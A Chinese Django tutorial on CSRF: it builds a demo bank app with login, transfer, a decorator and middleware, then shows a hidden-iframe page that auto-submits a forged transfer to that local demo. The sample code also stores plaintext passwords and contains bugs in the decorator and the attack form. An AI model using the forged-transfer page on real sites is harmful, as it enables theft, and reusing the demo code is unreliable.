148.CSRF攻击原理分析、防御、装饰器、中间件、IFrame以及js实现csrf攻击

CSRF攻击概述：

CSRF（Cross Site Request Forgery 跨站域请求伪造）是一种网站攻击的方式，它在2007年曾被列为互联网20大安全隐患之一。其他的安全隐患，比如SQL脚本注入，跨站域脚本攻击等在近年来已经逐渐为众人熟知，很多网站也都针对他们进行了防御。然而，对于大多数人来说，CSRF还是很陌生的，Gmail在2007年底也存在csrf漏洞，从而被黑客攻击而使Gmail的用户造成巨大的损失。

CSRF攻击原理：

网站是通过cookie来实现登录功能的。而cookie只要存在浏览器中，那么浏览器在访问这个cookie的服务器的时候，就会自动的携带cookie信息到服务器上去。那么这个时候就存在一个漏洞了，如果你访问了一个病毒网站或者是别有用心的网站，这个网站可以在网页源代码中插入js代码，使用js代码给其他服务器发送请求（比如ICBC的转账请求）。那么因为在发送请求的时候，浏览器会自动的把cookie发送给对应的服务器，这时候相应的服务器（比如ICBC网站），就不知道这个请求是伪造的，从而就可以达到在用户不知情的情况下，给服务器发送一个请求（转账）。

防御CSRF攻击：

CSRF攻击的要点就是在向服务器发送请求的时候，相应的cookie会自动的发送给对应的服务器。造成服务器不知道这个请求的情况下是用户发起的还是伪造的。这时候，我们可以在用户每次访问有表单的页面的时候，在网页源代码中加入一个随机的字符串叫做csrf_token，在cookie中也加入一个相同值的csrf_token字符串。以后给服务器发送请求的时候，必须在body中以及在cookie中都携带csrf_token，服务器只有检测到cookie中的csrf_token和body中csrf_token都相同，才认为这个请求是合法的。

实例

比如，我们要实现一个icbc网站注册、登录、退出登录、转账的功能。

（1）views.py文件中示例代码如下：

from django.shortcuts import render, redirect, reverse
from django.http import HttpResponse
<!--定义类视图，导入View-->
from django.views import View
<!--导入我们定义的用户模型User-->
from .models import User
<!--导入定义的表单，可创建表单对象-->
from .forms import SignupForm, SigninForm, TransferForm
<!--导入django.contrib.messages可以在浏览器中显示错误信息以及级别-->
from django.contrib import messages
<!--导入F表达式，可以动态获取数据库中某字段的数据，而不执行sql语句，直接在原来的数据之上更新-->
from django.db.models import F


<!--1. 定义首页，直接返回一个html模板-->
def index(request):
    return render(request,'index.html')


<!--2. 定义一个注册的类视图-->
class SignupView(View):
    
    <!--如果浏览器发送的是get请求，就返回一个注册的模板-->
    def get(self, request):
        return render(request, 'signup.html')
    
    <!--如果浏览器发送过来的是post请求，就通过表单验证数据的合法性-->
    def post(self, request):
        form = SignupForm(request.POST)
        if form.is_valid():
        <!--合法的话，就将提交上来的数据保存到数据库中，并且重定向到登录界面-->
            form.save()
            return redirect(reverse('signin'))
        else:
        <!--不合法的话，就在控制台打印出错误信息，并且重定向到当前的注册界面-->
            print(form.errors.get_json_data())
            return redirect(reverse('signup'))


<!--2. 定义登录类视图-->
class SigninView(View):
    
    <!--如果浏览器发送的是get请求，就返回登录界面的模板-->
    def get(self, request):
        return render(request,'signin.html')
    
    <!--如果浏览器发送的是post请求，就验证数据库中是否有与提交上来的数据相同的一条数据-->
    def post(self, request):
        form = SigninForm(request.POST)
        if form.is_valid():
            username = form.cleaned_data.get('username')
            password = form.cleaned_data.get('password')
            email = form.cleaned_data.get('email')
            user = User.objects.get(username=username, password=password, email=email)
            <!--如果存在，就在cookie中设置一个session_id即为登录的用户的pk,并且重定向到转账界面-->
            if user:
                request.session['user_id'] = user.pk
                return redirect(reverse('transfer'))
            else:
            <!--如果不存在该用户，就重定向到注册界面-->
                return redirect(reverse('signup'))
        else:
        <!--如果表单中的信息没有得到验证，就打印出错误信息-->
            print(form.errors.get_json_data())
            return HttpResponse('请确定输入的信息是否正确！')


<!--3. 定义转账类视图-->
class TransferView(View):
    
    <!--如果浏览器发送的是get请求，就返回转账的模板-->
    def get(self,request):
        return render(request, 'transfer.html')
    
    <!--如果浏览器发送的是post请求，首先通过表单验证数据是否合法-->
    def post(self, request):
        form = TransferForm(request.POST)
        context = {
            'info': '转账成功！'
        }
        if form.is_valid():
            email = form.cleaned_data.get('email')
            money = form.cleaned_data.get('money')
            user_id = request.session.get('user_id')
            user = User.objects.filter(pk=user_id).first()
            <!--如果可以在数据库中查找pk与cookie中的session_id相同的一条数据，就将该用户上的余额减去money-->
            <!--首先我们需要判断用户的余额是否大于提交的转账的money，只有大于等于money，我们才可以执行以下操作-->
            if user.balance >= money:
                user.balance -= money
                user.save()
                <!--并且将email为输入email的用户的余额加money-->
                <!--这里我们可以直接使用update()和F表达式，这样可以减少数据库的查询操作，提高查询效率-->
                User.objects.filter(email=email).update(balance=F('balance')+money)
                return render(request, 'transfer.html', context={'context': context})
            else:
            <!--如果约小于money，就返回给用户余额不足-->
                return HttpResponse('余额不足！')
        else:
        <!--如果表单验证没有通过，就打印出错误信息-->
            print(form.errors.get_json_data())
            <!--并且重定向到当前的转账界面-->
            return redirect(reverse('transfer'))


<!--4. 定义退出登录类视图-->
def Logout(request):
    # 其实，调用flush()方法的时候，首先会将cookie中的session_id中的内容清空，并不会直接删除在cookie记录的session_id,
    # 如果再次执行该函数就会将原来cookie中还保留的session_id 删除。
    request.session.flush()
    context = {
        'info': '成功退出登录',
    }
    return render(request, 'index.html', context={'context': context})

（2）urls.py文件中进行视图函数与url之间的映射，示例代码如下：

from django.urls import path
from front import views


urlpatterns = [
    path('', views.index, name='index'),
    path('signup/', views.SignupView.as_view(), name='signup'),
    path('signin/', views.SigninView.as_view(), name='signin'),
    path('transfer/', views.TransferView.as_view(), name='transfer'),
    path('logout/', views.Logout, name='logout'),

]

（3）index.html（中国工商银行首页）中示例代码如下：

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>ICBC</title>
</head>
<body>
<h1>中国工商银行首页</h1>
<ul>
    <li><a href="{% url 'signin' %}">登录</a></li>
    <li><a href="{% url 'signup' %}">注册</a></li>
    <li><a href="{% url 'logout' %}">退出登录</a></li>
    {{ context.info }}
</ul>
</body>
</html>

（4）signup.html（注册界面）示例代码如下:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>ICBC</title>
</head>
<body>
<h1>中国工商银行注册界面</h1>
<form action="" method="post">
<!--使用csrf_token标签，在浏览器加载的时候，可以自动生成一个csrf_token的input标签-->
    {% csrf_token %}
    <table>
        <tr>
            <td>用户名：</td>
            <td><input type="text" name="username"></td>
        </tr>
        <tr>
            <td>密码：</td>
            <td><input type="password" name="password"></td>
        </tr>
        <tr>
            <td>确认密码：</td>
            <td><input type="password" name="password_repeat"></td>
        </tr>
        <tr>
            <td>邮箱：</td>
            <td><input type="email" name="email"></td>
        </tr>
        <tr>
            <td></td>
            <td><input type="submit" value="提交"></td>
        </tr>
        <tr>
            <td></td>
            <td>
                <ul>
                    {% for message in messages %}
                        <li>{{ message }}</li>
                    {% endfor %}
                </ul>
            </td>
        </tr>
    </table>
</form>
</body>
</html>

（5）signin.html（登录界面）示例代码如下：

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>ICBC</title>
</head>
<body>
<h1>中国工商银行登录界面</h1>
<form action="" method="post">
    {% csrf_token %}
    <table>
        <tr>
            <td>用户名：</td>
            <td><input type="text" name="username"></td>
        </tr>
        <tr>
            <td>密码：</td>
            <td><input type="password" name="password"></td>
        </tr>
        <tr>
            <td>邮箱：</td>
            <td><input type="email" name="email"></td>
        </tr>
        <tr>
            <td></td>
            <td><input type="submit" value="提交"></td>
        </tr>
    </table>
</form>
</body>
</html>

（6）transfer.html（转账界面）示例代码如下：

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>ICBC</title>
</head>
<body>
<h1 style="margin: auto">
    中国工商银行转账界面
</h1>
<form action="" method="post">
    {% csrf_token %}
    <table>
        <tr>
            <td>转账给邮箱：</td>
            <td><input type="email" name="email"></td>
        </tr>
        <tr>
            <td>金额：</td>
            <td><input type="text" name="money"></td>
        </tr>
        <tr>
            <td></td>
            <td><input type="submit" value="提交"></td>
        </tr>
    </table>
</form>
{{ context.info }}
<ul>
    <button><a href="{% url 'logout' %}">退出登录</a></button>
</ul>
</body>
</html>

（7）User模型的定义，models.py文件中示例代码如下：

from django.db import models
from django.core import validators


class User(models.Model):
    username = models.CharField(max_length=20)
    password = models.CharField(max_length=24, validators=[validators.MinLengthValidator(6)])
    email = models.EmailField()
    balance = models.FloatField(default=0)  # 余额

    class Meta:
        db_table = 'user'

（8）定义表单验证我们使用post请求提交的信息，forms.py文件中示例代码如下：

from .models import User
from django import forms


<!--定义注册表单的验证-->
<!--注意，这里继承的是Model.Form，而不是Form-->
class SignupForm(forms.ModelForm):
    password_repeat = forms.CharField(max_length=24, min_length=6)

    class Meta:
        model = User
        fields = ['username', 'password','email']

    <!--判断两个字段的值是否相同，可以通过重写类的clean()方法-->
    def clean(self):
        clean_data = super(SignupForm, self).clean()
        password = clean_data.get('password')
        password_repeat = clean_data.get('password_repeat')
        if password != password_repeat:
            raise forms.ValidationError('两次输入密码不一致！')
        
        <!--注意，如果用户的两次密码输入相同，一定要返回clean_data-->
        return clean_data


<!--定义登录表单的验证-->
class SigninForm(forms.ModelForm):

    class Meta:
        model = User
        fields = ['username', 'password', 'email']


<!--定义转账表单的验证-->
class TransferForm(forms.Form):
    email = forms.CharField(max_length=30)
    money = forms.FloatField()

此时，该网站有一个小bug，就是在用户点击退出登录，或者是直接将浏览器中cookie中的session_id删除之后，同样可以访问转账的界面，这样的话，就有些不符合情理了。

装饰器:实现没有登录不能访问转账的界面

（1）这个就可以使用装饰器来实现，自定义装饰器。可以在APP中创建一个python文件（decorators.py），定义装饰器函数，示例代码如下：

def login_decorator(func):
    
    def wrapper(request, *args, **kwargs):
        <!--首先,我们可以通过cookie的session中是否有user_id,来判断用户是否登录-->
        user_id = request.session.get('user_id')
        exists = User.objects.filter(pk='user_id').exists()
        if exists:
            return func(request, *args, **kwargs)
        else:
        return redirect(reverse('signin'))
    return wrapper

（2）在views.py中导入写好的装饰器，并且装饰到转账类视图上，示例代码如下：

<!--导入装饰类视图的函数method_decorator-->
from django.utils.decorators import method_decorator
<!--导入自定义的装饰器函数-->
from .decorators import login_decorator


<!--装饰转账类视图-->
@method_decorator(login_decorator, name='dispatch')
<!--直接在类视图之前添加上面一行代码就行-->
class TransferView(View):

    def get(self,request):
        return render(request, 'transfer.html')

    def post(self, request):
        form = TransferForm(request.POST)
        context = {
            'info': '转账成功！'
        }
        if form.is_valid():
            email = form.cleaned_data.get('email')
            money = form.cleaned_data.get('money')
            user_id = request.session.get('user_id')
            user = User.objects.filter(pk=user_id).first()
            if user.balance >= money:
                user.balance -= money
                user.save()
                User.objects.filter(email=email).update(balance=F('balance')+money)
                return render(request, 'transfer.html', context={'context': context})
            else:
                return HttpResponse('余额不足！')
        else:
            print(form.errors.get_json_data())
            return redirect(reverse('transfer'))

（3）之后，如果不登录就访问转账的界面http://127.0.0.1:8001/transfer/,就会重定向到登录的界面，不允许用户在未登录的情况下访问转账界面。

中间件优化ICBC网站

在我们以上的代码中，多次进行判断cookie的session中是否存在user_id，从数据库中查找与user_id相同的pk。所以，我们可以将这个直接定义为一个中间件，直接将这样的用户定义为front_user，并且绑定在request上。在APP中创建一个middlewares.py文件，用来存放自定义的中间件的函数，示例代码如下：

from .models import User

def front_user_middleware(get_response):
    print('front_user_middleware初始化执行的代码....')
    
    def middleware(request):
        print("request到达view视图之前执行的代码....")
        user_id = request.session.get('user_id')
        <!--注意，这里一定要先判断user_id的存在性之后，再从user表中查找user_id用户-->
        if user_id: 
            try:
                user = User.objects.get(pk=user_id)
                request.front_user = user
            except:
                request.front_user = None
        else:
            request.front_user = None
            
        response = get_response(request)
        print('response到达浏览器之前执行的代码....')
        
        return response
        
    return middleware

之后，在项目的settings.py文件中的MIDDLEWARE添加我们自定义的中间件函数，规则为：appname.pythonfilename.functionname，front.middlewares.front_user_middleware。

IFrame相关知识

1. iframe可以加载嵌入别的域名下的网页。也就是说可以发送跨域请求。比如我可以在自己的网页中加载百度的网站，示例代码如下：

<iframe src="http://www.baidu.com/"></iframe>

2.因为iframe加载的是别的域名下的网页，根据同源策略，js只能操作属于本域名下的代码，因此，js不能操作通过iframe加载来的DOM元素。

3.如果iframe的src属性为空，那么就没有同源策略的限制，这时候我们就可以操作iframe下面的代码了。并且，如果src为空，那么我们可以在iframe中，给任何域名发送请求。

4.直接在iframe中写html代码，浏览器并不会加载。因此，我们可以先让网页加载html代码，之后执行js代码将html加载进入iframe向指定的url发送请求。

比如，我们现在可以创建一个新的项目，实现js操作iframe向我们的icbc银行网站发送一个转账给孤烟逐云（333333@qq.com）100元的请求，只是实现一个首页。

（1）views.py文件中示例代码如下：

from django.shortcuts import render


def index(request):
    return render(request, 'index.html')

（2）urls.py文件中进行视图函数与url之间的映射，示例代码如下：

from django.urls import path
from .import views

urlpatterns = [
    path('', views.index, name='index'),
]

（3）index.html代码如下：

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>病毒网站</title>
    <script src="http://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js"></script>
</head>
<body>
<img src="http://cms-bucket.nosdn.127.net/312e057a25f148519dc02b40812c78fe20170510155251.gif" alt="" width="100%"
     height="100%">
     <iframe src="" frameborder="" style="0; height: 0;" id="myframe"></iframe>
     <form src="http://127.0.0.1:8002/transfer/" method="post" id="myform">
        <input type="text" name="email" value="333333@qq.com">
        <input type="text" name="money" value="100">
     </form>
     <script>
        window.onload = function() {
            $('#myframe').contents().find('html').html($('#myform'));
            $('#myframe').contents().find('html').children($('#myform')).submit();
        }
     </script>
</body>
</html>

这个时候，如果我们登录的icbc网站转账的cookie中还保留有我们的信息，这个时候只要访问了我们定义的病毒网站的首页，我们登录的用户数据库中的余额就会少100元。当然了，进行这种csrf攻击的前提是我们在icbc网站的项目settings.py文件中没有开启中间件CsrfMiddleware。如果开启了该中间件，就不能进行这种csrf攻击了。